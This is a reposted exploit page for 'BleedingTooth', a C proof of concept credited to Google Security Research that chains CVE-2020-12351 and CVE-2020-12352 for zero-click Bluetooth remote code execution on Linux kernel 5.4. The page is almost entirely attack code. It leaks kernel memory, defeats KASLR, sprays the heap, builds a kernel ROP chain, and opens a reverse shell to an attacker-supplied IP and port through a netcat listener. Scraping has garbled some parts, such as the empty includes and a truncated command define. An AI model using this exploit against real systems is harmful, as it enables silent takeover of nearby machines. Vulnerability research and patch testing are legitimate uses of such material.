Linux Kernel 5.4 – ‘BleedingTooth’ Bluetooth Zero-Click Remote Code Execution – Digitalmunition




Exploit/Advisories spider-orange.png

Published on April 9th, 2021 📆 | 5837 Views ⚑

0

Linux Kernel 5.4 – ‘BleedingTooth’ Bluetooth Zero-Click Remote Code Execution

[*]

[*]# Exploit Title: Linux Kernel 5.4 - 'BleedingTooth' Bluetooth Zero-Click Remote Code Execution
# Date: 06/04/2020
# Exploit Author: Google Security Research (Andy Nguyen)
# Tested on: 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
# CVE : CVE-2020-12351, CVE-2020-12352

/*
* BleedingTooth: Linux Bluetooth Zero-Click Remote Code Execution
* by Andy Nguyen ([email protected])
*
* This Proof-Of-Concept demonstrates the exploitation of
* CVE-2020-12351 and CVE-2020-12352.
*
* Compile using:
* $ gcc -o exploit exploit.c -lbluetooth
*
* and execute as:
* $ sudo ./exploit target_mac source_ip source_port
*
* In another terminal, run:
* $ nc -lvp 1337
* exec bash -i 2>&0 1>&0
*
* If successful, a calc can be spawned with:
* export XAUTHORITY=/run/user/1000/gdm/Xauthority
* export DISPLAY=:0
* gnome-calculator
*
* This Proof-Of-Concept has been tested against a Dell XPS 15 running
* Ubuntu 20.04.1 LTS with:
* - 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020
* x86_64 x86_64 x86_64 GNU/Linux
*
* The success rate of the exploit is estimated at 80%.
*/

#include
#include

#include

#include

#include
#include
#include
#include

#include

#define REMOTE_COMMAND "/bin/bash -c /bin/bash> 8);
return crc;
}

static int connect_l2cap(bdaddr_t dst_addr, uint16_t *handle) {
int l2_sock;

if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) { perror("[-] socket"); exit(1); }struct sockaddr_l2 laddr = {0}; laddr.l2_family = AF_BLUETOOTH; memcpy(&laddr.l2_bdaddr, BDADDR_ANY, sizeof(bdaddr_t)); if (bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) { perror("[-] bind"); exit(1); }struct sockaddr_l2 raddr = {0}; raddr.l2_family = AF_BLUETOOTH; raddr.l2_bdaddr = dst_addr; if (connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr)) < 0 && errno != EALREADY) { perror("[-] connect"); exit(1); }struct l2cap_conninfo conninfo = {0}; socklen_t len = sizeof(conninfo); if (getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &conninfo, &len) < 0) { perror("[-] getsockopt"); exit(1); }if (handle) *handle = conninfo.hci_handle;return l2_sock; }static int connect_hci(void) { struct hci_dev_info di = {0}; int hci_device_id = hci_get_route(NULL); int hci_sock = hci_open_dev(hci_device_id); if (hci_devinfo(hci_device_id, &di) < 0) { perror("[-] hci_devinfo"); exit(1); }struct hci_filter flt = {0}; hci_filter_clear(&flt); hci_filter_all_ptypes(&flt); hci_filter_all_events(&flt); if (setsockopt(hci_sock, SOL_HCI, HCI_FILTER, &flt, sizeof(flt)) < 0) { perror("[-] setsockopt(HCI_FILTER)"); exit(1); }return hci_sock; }static void wait_event_complete_packet(void) { while (1) { uint8_t buf[256] = {0}; if (read(hci_sock, buf, sizeof(buf)) < 0) { perror("[-] read"); exit(1); } if (buf[0] == HCI_EVENT_PKT) { hci_event_hdr *hdr = (hci_event_hdr *)&buf[1]; if (btohs(hdr->evt) == EVT_NUM_COMP_PKTS)
break;
}
}
}

static void hci_send_acl_data(int hci_sock, uint16_t hci_handle, void *data,
uint16_t data_length, uint16_t flags) {
uint8_t type = HCI_ACLDATA_PKT;

hci_acl_hdr hdr = {0};
hdr.handle = htobs(acl_handle_pack(hci_handle, flags));
hdr.dlen = data_length;

struct iovec iv[3] = {0};
iv[0].iov_base = &type;
iv[0].iov_len = sizeof(type);
iv[1].iov_base = &hdr;
iv[1].iov_len = HCI_ACL_HDR_SIZE;
iv[2].iov_base = data;
iv[2].iov_len = data_length;
if (writev(hci_sock, iv, sizeof(iv) / sizeof(struct iovec)) < 0) { perror("[-] writev"); exit(1); }usleep(HCI_SEND_ACL_DATA_WAIT_USEC); wait_event_complete_packet(); }static void disconnect_a2mp(void) { printf("[*] Disconnecting A2MP channel...n");struct { l2cap_hdr hdr; l2cap_cmd_hdr cmd_hdr; l2cap_disconn_req disconn_req; } disconn_req = {0}; disconn_req.hdr.len = htobs(sizeof(disconn_req) - L2CAP_HDR_SIZE); disconn_req.hdr.cid = htobs(SIGNALLING_CID); disconn_req.cmd_hdr.code = L2CAP_DISCONN_REQ; disconn_req.cmd_hdr.ident = L2CAP_IDENT; disconn_req.cmd_hdr.len = htobs(sizeof(disconn_req) - L2CAP_HDR_SIZE - L2CAP_CMD_HDR_SIZE); disconn_req.disconn_req.dcid = htobs(AMP_MGR_CID); disconn_req.disconn_req.scid = htobs(AMP_MGR_CID); hci_send_acl_data(hci_sock, hci_handle, &disconn_req, sizeof(disconn_req), 2); }static void connect_a2mp(void) { printf("[*] Connecting A2MP channel...n");struct { l2cap_hdr hdr; } a2mp_create = {0}; a2mp_create.hdr.len = htobs(sizeof(a2mp_create) - L2CAP_HDR_SIZE); a2mp_create.hdr.cid = htobs(AMP_MGR_CID); hci_send_acl_data(hci_sock, hci_handle, &a2mp_create, sizeof(a2mp_create), 2);// Configure to L2CAP_MODE_BASIC and max MTU. struct { l2cap_hdr hdr; l2cap_cmd_hdr cmd_hdr; l2cap_conf_rsp conf_rsp; l2cap_conf_opt conf_opt; l2cap_conf_rfc conf_rfc; l2cap_conf_opt conf_opt2; uint16_t conf_mtu; } conf_rsp = {0}; conf_rsp.hdr.len = htobs(sizeof(conf_rsp) - L2CAP_HDR_SIZE); conf_rsp.hdr.cid = htobs(SIGNALLING_CID); conf_rsp.cmd_hdr.code = L2CAP_CONF_RSP; conf_rsp.cmd_hdr.ident = L2CAP_IDENT; conf_rsp.cmd_hdr.len = htobs(sizeof(conf_rsp) - L2CAP_HDR_SIZE - L2CAP_CMD_HDR_SIZE); conf_rsp.conf_rsp.scid = htobs(AMP_MGR_CID); conf_rsp.conf_rsp.flags = htobs(0); conf_rsp.conf_rsp.result = htobs(L2CAP_CONF_UNACCEPT); conf_rsp.conf_opt.type = L2CAP_CONF_RFC; conf_rsp.conf_opt.len = sizeof(l2cap_conf_rfc); conf_rsp.conf_rfc.mode = L2CAP_MODE_BASIC; conf_rsp.conf_opt2.type = L2CAP_CONF_MTU; conf_rsp.conf_opt2.len = sizeof(uint16_t); conf_rsp.conf_mtu = htobs(0xffff); hci_send_acl_data(hci_sock, hci_handle, &conf_rsp, sizeof(conf_rsp), 2); }static void prepare_l2cap_chan_addr_leak(void) { printf("[*] Preparing to leak l2cap_chan address...n");struct { l2cap_hdr hdr; l2cap_cmd_hdr cmd_hdr; l2cap_conf_rsp conf_rsp; l2cap_conf_opt conf_opt; l2cap_conf_rfc conf_rfc; } conf_rsp = {0}; conf_rsp.hdr.len = htobs(sizeof(conf_rsp) - L2CAP_HDR_SIZE); conf_rsp.hdr.cid = htobs(SIGNALLING_CID); conf_rsp.cmd_hdr.code = L2CAP_CONF_RSP; conf_rsp.cmd_hdr.ident = L2CAP_IDENT; conf_rsp.cmd_hdr.len = htobs(sizeof(conf_rsp) - L2CAP_HDR_SIZE - L2CAP_CMD_HDR_SIZE); conf_rsp.conf_rsp.scid = htobs(AMP_MGR_CID); conf_rsp.conf_rsp.flags = htobs(0); conf_rsp.conf_rsp.result = htobs(L2CAP_CONF_UNACCEPT); conf_rsp.conf_opt.type = L2CAP_CONF_RFC; conf_rsp.conf_opt.len = sizeof(l2cap_conf_rfc); conf_rsp.conf_rfc.mode = L2CAP_MODE_ERTM; hci_send_acl_data(hci_sock, hci_handle, &conf_rsp, sizeof(conf_rsp), 2); }static uint64_t leak_kstack(void) { printf("[*] Leaking A2MP kernel stack memory...n");struct { l2cap_hdr hdr; a2mp_hdr amp_hdr; a2mp_info_req info_req; } info_req = {0}; info_req.hdr.len = htobs(sizeof(info_req) - L2CAP_HDR_SIZE); info_req.hdr.cid = htobs(AMP_MGR_CID); info_req.amp_hdr.code = A2MP_INFO_REQ; info_req.amp_hdr.ident = L2CAP_IDENT; info_req.amp_hdr.len = htobs(sizeof(info_req) - L2CAP_HDR_SIZE - sizeof(a2mp_hdr)); // Use a dummy id to make hci_dev_get() fail. info_req.info_req.id = 0x42; hci_send_acl_data(hci_sock, hci_handle, &info_req, sizeof(info_req), 2);while (1) { uint8_t buf[256] = {0}; if (read(hci_sock, buf, sizeof(buf)) < 0) { perror("[-] read"); exit(1); } if (buf[0] == HCI_ACLDATA_PKT) { l2cap_hdr *l2_hdr = (l2cap_hdr *)&buf[5]; if (btohs(l2_hdr->cid) == AMP_MGR_CID) {
a2mp_hdr *amp_hdr = (a2mp_hdr *)&buf[9];
if (amp_hdr->code == A2MP_INFO_RSP)
return *(uint64_t *)&buf[21];
}
}
}

return 0;
}

static void trigger_type_confusion(void) {
struct {
l2cap_hdr hdr;
uint16_t ctrl;
a2mp_hdr amp_hdr;
a2mp_command_rej cmd_rej;
uint16_t fcs;
} cmd_rej = {0};
cmd_rej.hdr.len = htobs(sizeof(cmd_rej) - L2CAP_HDR_SIZE);
cmd_rej.hdr.cid = htobs(AMP_MGR_CID);
cmd_rej.ctrl = 0xffff;
cmd_rej.amp_hdr.code = A2MP_COMMAND_REJ;
cmd_rej.amp_hdr.ident = L2CAP_IDENT;
cmd_rej.amp_hdr.len = htobs(sizeof(cmd_rej) - L2CAP_HDR_SIZE -
sizeof(a2mp_hdr) - sizeof(uint32_t));
cmd_rej.cmd_rej.reason = 0;
cmd_rej.fcs = crc16(0, &cmd_rej, sizeof(cmd_rej) - sizeof(uint16_t));
hci_send_acl_data(hci_sock, hci_handle, &cmd_rej, sizeof(cmd_rej), 2);
}

static void build_krop(uint64_t *rop, uint64_t cmd_addr) {
*rop++ = kaslr_offset + POP_RAX_RET;
*rop++ = kaslr_offset + RUN_CMD;
*rop++ = kaslr_offset + POP_RDI_RET;
*rop++ = cmd_addr;
*rop++ = kaslr_offset + JMP_RAX;
*rop++ = kaslr_offset + POP_RAX_RET;
*rop++ = kaslr_offset + DO_TASK_DEAD;
*rop++ = kaslr_offset + JMP_RAX;
}

static void build_payload(uint8_t data[0x400]) {
// Fake sk_filter object starting at offset 0x300.
*(uint64_t *)&data[0x318] = l2cap_chan_addr + 0x320; // prog

// Fake bpf_prog object starting at offset 0x320.
// RBX points to the amp_mgr object.
*(uint64_t *)&data[0x350] =
kaslr_offset +
PUSH_RSI_ADD_BYTE_PTR_RBX_41_BL_POP_RSP_POP_RBP_RET; // bpf_func
*(uint64_t *)&data[0x358] = 0xDEADBEEF; // rbp

// Build kernel ROP chain that executes run_cmd() from kernel/reboot.c.
// Note that when executing the ROP chain, the data below in memory will be
// overwritten. Therefore, the argument should be located after the ROP chain.
build_krop((uint64_t *)&data[0x360], l2cap_chan_addr + 0x3c0);
strncpy(&data[0x3c0], remote_command, 0x40);
}

static void spray_kmalloc_1024(int num) {
// Skip first two hci devices because they may be legit.
for (int i = 2; i < num + 2; i++) { printf("r[*] Sending packet with id #%d...", i); fflush(stdout);struct { l2cap_hdr hdr; a2mp_hdr amp_hdr; a2mp_info_rsp info_rsp; } info_rsp = {0}; info_rsp.hdr.len = htobs(sizeof(info_rsp) - L2CAP_HDR_SIZE); info_rsp.hdr.cid = htobs(AMP_MGR_CID); info_rsp.amp_hdr.code = A2MP_INFO_RSP; info_rsp.amp_hdr.ident = L2CAP_IDENT; info_rsp.amp_hdr.len = htobs(sizeof(info_rsp) - L2CAP_HDR_SIZE - sizeof(a2mp_hdr)); info_rsp.info_rsp.id = i; hci_send_acl_data(hci_sock, hci_handle, &info_rsp, sizeof(info_rsp), 2);struct { l2cap_hdr hdr; a2mp_hdr amp_hdr; a2mp_assoc_rsp assoc_rsp; uint8_t data[0x400]; } assoc_rsp = {0}; assoc_rsp.hdr.len = htobs(sizeof(assoc_rsp) - L2CAP_HDR_SIZE); assoc_rsp.hdr.cid = htobs(AMP_MGR_CID); assoc_rsp.amp_hdr.code = A2MP_ASSOC_RSP; assoc_rsp.amp_hdr.ident = L2CAP_IDENT; assoc_rsp.amp_hdr.len = htobs(sizeof(assoc_rsp) - L2CAP_HDR_SIZE - sizeof(a2mp_hdr)); assoc_rsp.assoc_rsp.id = i; for (int j = 0; j < sizeof(assoc_rsp.data); j += 8) memset(&assoc_rsp.data[j], 'A' + j / 8, 8); build_payload(assoc_rsp.data);// Send fragmented l2cap packets (assume ACL MTU is at least 256 bytes). hci_send_acl_data(hci_sock, hci_handle, &assoc_rsp, sizeof(assoc_rsp) - sizeof(assoc_rsp.data), 2); hci_send_acl_data(hci_sock, hci_handle, &assoc_rsp.data[0x000], 0x100, 1); hci_send_acl_data(hci_sock, hci_handle, &assoc_rsp.data[0x100], 0x100, 1); hci_send_acl_data(hci_sock, hci_handle, &assoc_rsp.data[0x200], 0x100, 1); hci_send_acl_data(hci_sock, hci_handle, &assoc_rsp.data[0x300], 0x100, 1); }printf("n"); }static void spray_kmalloc_128(int num) { // Skip first two hci devices because they may be legit. for (int i = 2; i < num + 2; i++) { printf("r[*] Sending packet with id #%d...", i); fflush(stdout);struct { l2cap_hdr hdr; a2mp_hdr amp_hdr; a2mp_info_rsp info_rsp; } info_rsp = {0}; info_rsp.hdr.len = htobs(sizeof(info_rsp) - L2CAP_HDR_SIZE); info_rsp.hdr.cid = htobs(AMP_MGR_CID); info_rsp.amp_hdr.code = A2MP_INFO_RSP; info_rsp.amp_hdr.ident = L2CAP_IDENT; info_rsp.amp_hdr.len = htobs(sizeof(info_rsp) - L2CAP_HDR_SIZE - sizeof(a2mp_hdr)); info_rsp.info_rsp.id = i; hci_send_acl_data(hci_sock, hci_handle, &info_rsp, sizeof(info_rsp), 2);struct { l2cap_hdr hdr; a2mp_hdr amp_hdr; a2mp_assoc_rsp assoc_rsp; uint8_t data[0x80]; } assoc_rsp = {0}; assoc_rsp.hdr.len = htobs(sizeof(assoc_rsp) - L2CAP_HDR_SIZE); assoc_rsp.hdr.cid = htobs(AMP_MGR_CID); assoc_rsp.amp_hdr.code = A2MP_ASSOC_RSP; assoc_rsp.amp_hdr.ident = L2CAP_IDENT; assoc_rsp.amp_hdr.len = htobs(sizeof(assoc_rsp) - L2CAP_HDR_SIZE - sizeof(a2mp_hdr)); assoc_rsp.assoc_rsp.id = i; for (int j = 0; j < sizeof(assoc_rsp.data); j += 8) memset(&assoc_rsp.data[j], 'A' + j / 8, 8); // Fake sock object. *(uint64_t *)&assoc_rsp.data[0x10] = l2cap_chan_addr + 0x300; // sk_filter hci_send_acl_data(hci_sock, hci_handle, &assoc_rsp, sizeof(assoc_rsp), 2); }printf("n"); }int main(int argc, char *argv[]) { if (argc != 4) { printf("Usage: %s target_mac source_ip source_portn", argv[0]); exit(1); }bdaddr_t dst_addr = {0}; str2ba(argv[1], &dst_addr);snprintf(remote_command, sizeof(remote_command), REMOTE_COMMAND, argv[2], argv[3]); printf("[+] Remote command: %sn", remote_command);printf("[*] Opening hci device...n"); hci_sock = connect_hci();printf("[*] Connecting to victim...n"); l2_sock = connect_l2cap(dst_addr, &hci_handle); printf("[+] HCI handle: %xn", hci_handle);connect_a2mp();uint64_t kernel_addr = leak_kstack(); printf("[+] Kernel address: %lxn", kernel_addr); KASLR_DEFEAT(kaslr_offset, kernel_addr); printf("[+] KASLR offset: %lxn", kaslr_offset); if ((kaslr_offset & 0xfffff) != 0) { printf("[-] Error KASLR offset is invalid.n"); exit(1); }prepare_l2cap_chan_addr_leak(); l2cap_chan_addr = leak_kstack() - 0x110; printf("[+] l2cap_chan address: %lxn", l2cap_chan_addr); if ((l2cap_chan_addr & 0xff) != 0) { printf("[-] Error l2cap_chan address is invalid.n"); exit(1); }// Somehow, spraying a bit before makes the UaF more reliable. printf("[*] Spraying kmalloc-1024...n"); spray_kmalloc_1024(0x40);// Disconnect to free the l2cap_chan object, then reconnect. disconnect_a2mp(); connect_a2mp();// Attempt to reclaim the freed l2cap_chan object. printf("[*] Spraying kmalloc-1024...n"); for (int i = 0; i < NUM_SPRAY_KMALLOC_1024; i++) { spray_kmalloc_1024(0x40); }// Attempt to control the out-of-bounds read. printf("[*] Spraying kmalloc-128...n"); for (int i = 0; i < NUM_SPRAY_KMALLOC_128; i++) { spray_kmalloc_128(0x40); }printf("[*] Triggering remote code execution...n"); disconnect_a2mp(); trigger_type_confusion();close(l2_sock); hci_close_dev(hci_sock);return 0; }

Source link

Tagged with:



Leave a Reply